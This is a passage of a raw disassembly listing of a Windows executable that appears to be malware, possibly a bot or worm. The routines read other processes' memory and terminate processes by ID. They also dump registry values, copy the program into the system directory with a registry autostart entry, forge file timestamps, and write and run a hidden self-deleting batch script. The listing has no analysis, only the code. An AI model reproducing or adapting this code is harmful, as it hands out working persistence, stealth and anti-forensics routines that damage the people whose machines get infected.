		mov	[ebp+var_1C], eax
		push	[ebp+var_8]
		push	0
		push	10h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_406586
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	locret_406641
; ---------------------------------------------------------------------------

loc_406586:				; CODE XREF: sub_406509+6Dj
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_1C]
		push	[ebp+var_C]
		push	[ebp+var_18]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40662F
		cmp	[ebp+var_14], 0
		jz	short loc_40662F
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		and	[ebp+var_20], 0
		jmp	short loc_4065C9
; ---------------------------------------------------------------------------

loc_4065C2:				; CODE XREF: sub_406509:loc_406620j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax

loc_4065C9:				; CODE XREF: sub_406509+B7j
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+var_14]
		jnb	short loc_406622
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 16h
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 10h
		jg	short loc_406620

loc_406617:				; CODE XREF: sub_406509+D4j
					; sub_406509+E2j ...
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		mov	byte ptr [eax],	2Eh

loc_406620:				; CODE XREF: sub_406509+10Cj
		jmp	short loc_4065C2
; ---------------------------------------------------------------------------

loc_406622:				; CODE XREF: sub_406509+C6j
		push	[ebp+var_1C]
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx

loc_40662F:				; CODE XREF: sub_406509+9Ej
					; sub_406509+A8j
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_18]
		call	dword_4170A4	; CloseHandle

locret_406641:				; CODE XREF: sub_406509:loc_40651Bj
					; sub_406509+78j
		leave
		retn
sub_406509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406643	proc near		; CODE XREF: sub_40A9CF+3D7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_406650
		jmp	short locret_40668D
; ---------------------------------------------------------------------------

loc_406650:				; CODE XREF: sub_406643+9j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[ebp+var_4], eax
		jnz	short loc_406669
		jmp	short locret_40668D
; ---------------------------------------------------------------------------

loc_406669:				; CODE XREF: sub_406643+22j
		push	[ebp+var_4]
		push	0
		push	1
		call	dword_417094	; OpenProcess
		mov	[ebp+var_8], eax
		push	0
		push	[ebp+var_8]
		call	dword_4170A0	; TerminateProcess
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40668D:				; CODE XREF: sub_406643+Bj
					; sub_406643+24j
		leave
		retn
sub_406643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40668F	proc near		; CODE XREF: sub_403DF3+149p
					; sub_40A9CF+BDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_4066A0
; ---------------------------------------------------------------------------

loc_406699:				; CODE XREF: sub_40668F+2Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_4066A0:				; CODE XREF: sub_40668F+8j
		cmp	[ebp+var_4], 8
		jge	short loc_4066BB
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_406699
; ---------------------------------------------------------------------------

loc_4066BB:				; CODE XREF: sub_40668F+15j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066CF
; ---------------------------------------------------------------------------

loc_4066C8:				; CODE XREF: sub_40668F+59j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_4066CF:				; CODE XREF: sub_40668F+37j
		cmp	[ebp+var_4], 6
		jge	short loc_4066EA
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066C8
; ---------------------------------------------------------------------------

loc_4066EA:				; CODE XREF: sub_40668F+44j
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+6], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066FE
; ---------------------------------------------------------------------------

loc_4066F7:				; CODE XREF: sub_40668F+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_4066FE:				; CODE XREF: sub_40668F+66j
		cmp	[ebp+var_4], 10h
		jge	short loc_406719
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066F7
; ---------------------------------------------------------------------------

loc_406719:				; CODE XREF: sub_40668F+73j
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax+10h], 0
		leave
		retn
sub_40668F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406722	proc near		; CODE XREF: sub_40A9CF+F40p

var_424		= byte ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		cmp	[ebp+arg_4], 0
		jnz	short loc_406736
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_406736:				; CODE XREF: sub_406722+Dj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+4]
		cmp	eax, 5Ch
		jz	short loc_406747
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_406747:				; CODE XREF: sub_406722+1Ej
		push	4
		push	offset aHkcr	; "HKCR"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406769
		mov	[ebp+var_218], 80000000h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------

loc_406769:				; CODE XREF: sub_406722+39j
		push	4
		push	offset aHkcu	; "HKCU"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40678B
		mov	[ebp+var_218], 80000001h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------

loc_40678B:				; CODE XREF: sub_406722+5Bj
		push	4
		push	offset aHklm	; "HKLM"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067AD
		mov	[ebp+var_218], 80000002h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------

loc_4067AD:				; CODE XREF: sub_406722+7Dj
		push	4
		push	offset aHkus	; "HKUS"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067CF
		mov	[ebp+var_218], 80000003h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------

loc_4067CF:				; CODE XREF: sub_406722+9Fj
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_4067D4:				; CODE XREF: sub_406722+45j
					; sub_406722+67j ...
		mov	eax, [ebp+arg_4]
		add	eax, 5
		mov	[ebp+arg_4], eax
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_210], eax
		jmp	short loc_4067FB
; ---------------------------------------------------------------------------

loc_4067EE:				; CODE XREF: sub_406722:loc_406858j
		mov	eax, [ebp+var_210]
		dec	eax
		mov	[ebp+var_210], eax

loc_4067FB:				; CODE XREF: sub_406722+CAj
		cmp	[ebp+var_210], 0
		jnz	short loc_406809
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_406809:				; CODE XREF: sub_406722+E0j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_210]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406858
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 200h
		jb	short loc_40683A
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_40683A:				; CODE XREF: sub_406722+111j
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40685A
; ---------------------------------------------------------------------------

loc_406858:				; CODE XREF: sub_406722+F6j
		jmp	short loc_4067EE
; ---------------------------------------------------------------------------

loc_40685A:				; CODE XREF: sub_406722+134j
		cmp	[ebp+var_210], 200h
		jb	short loc_40686B
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_40686B:				; CODE XREF: sub_406722+142j
		push	[ebp+var_210]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_210]
		and	[ebp+eax+var_418], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		lea	eax, [ebp+var_418]
		push	eax
		push	[ebp+var_218]
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_4068B5
		jmp	locret_406A21
; ---------------------------------------------------------------------------

loc_4068B5:				; CODE XREF: sub_406722+18Cj
		mov	[ebp+var_8], 1000h
		push	[ebp+var_8]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_214], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_214]
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		push	[ebp+var_C]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	loc_406A0C
		cmp	[ebp+var_4], 1
		jz	short loc_4068FF
		cmp	[ebp+var_4], 2
		jnz	short loc_406915

loc_4068FF:				; CODE XREF: sub_406722+1D5j
		push	[ebp+var_214]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch

loc_406915:				; CODE XREF: sub_406722+1DBj
		cmp	[ebp+var_4], 4
		jnz	short loc_406933
		mov	eax, [ebp+var_214]
		push	dword ptr [eax]
		push	offset dword_418B5C
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch

loc_406933:				; CODE XREF: sub_406722+1F7j
		cmp	[ebp+var_4], 3
		jnz	loc_406A0C
		push	180h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_420], eax
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0
		and	[ebp+var_41C], 0
		jmp	short loc_40696D
; ---------------------------------------------------------------------------

loc_406960:				; CODE XREF: sub_406722+2C3j
		mov	eax, [ebp+var_41C]
		inc	eax
		mov	[ebp+var_41C], eax

loc_40696D:				; CODE XREF: sub_406722+23Cj
		mov	eax, [ebp+var_41C]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4069EA
		mov	eax, [ebp+var_214]
		add	eax, [ebp+var_41C]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_418B54
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B40	; strlen
		pop	ecx
		add	eax, 3
		cmp	eax, 180h
		jb	short loc_4069D1
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0

loc_4069D1:				; CODE XREF: sub_406722+28Ej
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+var_420]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	loc_406960
; ---------------------------------------------------------------------------

loc_4069EA:				; CODE XREF: sub_406722+254j
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B4C	; free
		pop	ecx

loc_406A0C:				; CODE XREF: sub_406722+1CBj
					; sub_406722+215j
		push	[ebp+var_214]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_C]
		call	dword_417028	; RegCloseKey

locret_406A21:				; CODE XREF: sub_406722+Fj
					; sub_406722+20j ...
		leave
		retn
sub_406722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A23	proc near		; CODE XREF: sub_40D043:loc_40D18Dp
					; sub_40D871:loc_40DB71p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DD14
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short locret_406AE5
		push	[ebp+var_108]
		push	1
		push	2
		push	offset dword_418DE0
		call	sub_416B7C	; fwrite
		add	esp, 10h
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406B81
		pop	ecx

locret_406AE5:				; CODE XREF: sub_406A23+90j
		leave
		retn
sub_406A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AE7	proc near		; CODE XREF: sub_40D043+13Dp
					; sub_40D871+2F3p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DD14
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short loc_406B7D
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_406B7F
; ---------------------------------------------------------------------------

loc_406B7D:				; CODE XREF: sub_406AE7+83j
		xor	eax, eax

locret_406B7F:				; CODE XREF: sub_406AE7+94j
		leave
		retn
sub_406AE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B81	proc near		; CODE XREF: sub_406A23+BCp
					; sub_406E8E+246p

var_120		= dword	ptr -120h
var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	104h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417040	; GetWindowsDirectoryA
		push	offset dword_418DE8
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_417048	; GetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_41704C	; SetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle

locret_406C4F:				; CODE XREF: sub_406B81+5Aj
					; sub_406B81+A8j
		leave
		retn
sub_406B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C51	proc near		; CODE XREF: sub_406E8E+133p
					; sub_406E8E+214p ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_417014	; RegCreateKeyExA
		cmp	[ebp+arg_0], 0
		jz	short loc_406CE1
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_41703C	; lstrlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417010	; RegSetValueExA
		jmp	short loc_406CED
; ---------------------------------------------------------------------------

loc_406CE1:				; CODE XREF: sub_406C51+30j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417004	; RegDeleteValueA

loc_406CED:				; CODE XREF: sub_406C51+8Ej
		push	[ebp+var_4]
		call	dword_417028	; RegCloseKey
		leave
		retn
sub_406C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CF8	proc near		; CODE XREF: sub_406D47+2Bp
					; sub_406E8E+253p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		and	[ebp+var_4], 0
		jmp	short loc_406D1D
; ---------------------------------------------------------------------------

loc_406D16:				; CODE XREF: sub_406CF8:loc_406D40j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_406D1D:				; CODE XREF: sub_406CF8+1Cj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_406D42
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406D40
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_8], eax

loc_406D40:				; CODE XREF: sub_406CF8+39j
		jmp	short loc_406D16
; ---------------------------------------------------------------------------

loc_406D42:				; CODE XREF: sub_406CF8+2Bj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_406CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D47	proc near		; CODE XREF: sub_406E8E+9p
					; sub_407148+9p

var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_406CF8
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417038	; SetCurrentDirectoryA
		leave
		retn
sub_406D47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D90	proc near		; CODE XREF: sub_406E8E+25Ap
					; sub_407148+168p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0

loc_406DA8:				; CODE XREF: sub_406D90:loc_406DDFj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_1C]
		mov	[ebp+ecx+var_18], al
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnz	short loc_406DDF
		push	offset a_bat	; ".bat"
		mov	eax, [ebp+var_1C]
		lea	eax, [ebp+eax+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406DE1
; ---------------------------------------------------------------------------

loc_406DDF:				; CODE XREF: sub_406D90+37j
		jmp	short loc_406DA8
; ---------------------------------------------------------------------------

loc_406DE1:				; CODE XREF: sub_406D90+4Dj
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		push	400h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_406E2B
		xor	eax, eax
		jmp	short locret_406E8C
; ---------------------------------------------------------------------------

loc_406E2B:				; CODE XREF: sub_406D90+95j
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	[ebp+var_24]
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	[ebp+var_4], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_24]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	dword_417068	; WriteFile
		push	[ebp+var_28]
		call	dword_4170A4	; CloseHandle
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		push	1
		pop	eax

locret_406E8C:				; CODE XREF: sub_406D90+99j
		leave
		retn
sub_406D90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E8E	proc near		; CODE XREF: sub_4167F1:loc_4169E1p

var_368		= dword	ptr -368h
var_338		= word ptr -338h
var_324		= byte ptr -324h
var_220		= dword	ptr -220h
var_21C		= byte ptr -21Ch
var_118		= byte ptr -118h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 368h
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_324]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_14], 0
		and	[ebp+var_220], 0
		jmp	short loc_406ED1
; ---------------------------------------------------------------------------

loc_406EC4:				; CODE XREF: sub_406E8E:loc_406FF8j
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax

loc_406ED1:				; CODE XREF: sub_406E8E+34j
		mov	eax, [ebp+var_220]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_406FFD
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_21C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406FF8
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	1
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	locret_407146
; ---------------------------------------------------------------------------

loc_406FF8:				; CODE XREF: sub_406E8E+E3j
		jmp	loc_406EC4
; ---------------------------------------------------------------------------

loc_406FFD:				; CODE XREF: sub_406E8E+53j
		push	[ebp+var_14]
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170AC	; DeleteFileA

loc_40707C:				; DATA XREF: BrattyUS:0041AD4Co
					; BrattyUS:0041AD60o ...
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_324]
		push	eax
